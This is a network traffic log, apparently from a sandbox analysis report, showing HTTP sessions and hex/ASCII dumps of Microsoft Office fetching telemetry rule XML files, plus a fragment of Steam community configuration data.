2024-11-12 01:14:00 UTC	11388	IN	Data Raw: 6f 67 69 6e 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 41 56 41 54 41 52 5f 42 41 53 45 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 61 76 61 74 61 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 46 52 4f 4d 5f 57 45 42 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 57 45 42 53 49 54 45 5f 49 44 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 43 6f 6d 6d 75 6e 69 74 79 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 42 41 53 45 5f 55 52 4c 5f 53 48 41 52 45 44 5f 43 44 4e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 73 68 61 72 65 64 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 Data Ascii: ogin.steampowered.com\/","AVATAR_BASE_URL":"https:\/\/avatars.cloudflare.steamstatic.com\/","FROM_WEB":true,"WEBSITE_ID":"Community","BASE_URL_SHARED_CDN":"https:\/\/shared.cloudflare.s

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:00 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:00 UTC	492	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:00 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 11 Nov 2024 13:19:38 GMT ETag: "0x8DD02537E74B538" x-ms-request-id: 38692f1b-b01e-0002-0984-341b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011400Z-17df447cdb5vq4m4hC1DFW2t8w00000000n00000000056f7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 01:14:00 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-12 01:14:00 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-12 01:14:00 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-12 01:14:00 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-12 01:14:00 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-12 01:14:00 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-12 01:14:00 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-12 01:14:00 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-12 01:14:00 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-12 01:14:00 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:01 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:01 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:01 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: be525922-801e-00a0-03ff-2c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011401Z-16547b76f7fr28cchC1DFWnuws0000000f2g00000000747y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 01:14:01 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:01 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:01 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:01 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f8aed360-a01e-0032-69a0-341949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011401Z-15869dbbcc6qwghvhC1DFWssds0000000c90000000008xcd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:01 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:01 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:01 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:01 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 18edf7b2-e01e-0003-11a0-340fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011401Z-17df447cdb5lrwcchC1DFWphes0000000b6g00000000n80x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:01 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:01 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:01 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:01 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: dcc6854f-e01e-0051-7b03-2d84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011401Z-16547b76f7fknvdnhC1DFWxnys0000000exg00000000h695 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:01 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:01 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:01 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:01 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 6d064dc7-d01e-005a-12a0-347fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011401Z-17df447cdb57g7m7hC1DFW791s0000000bc0000000001zze x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:01 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

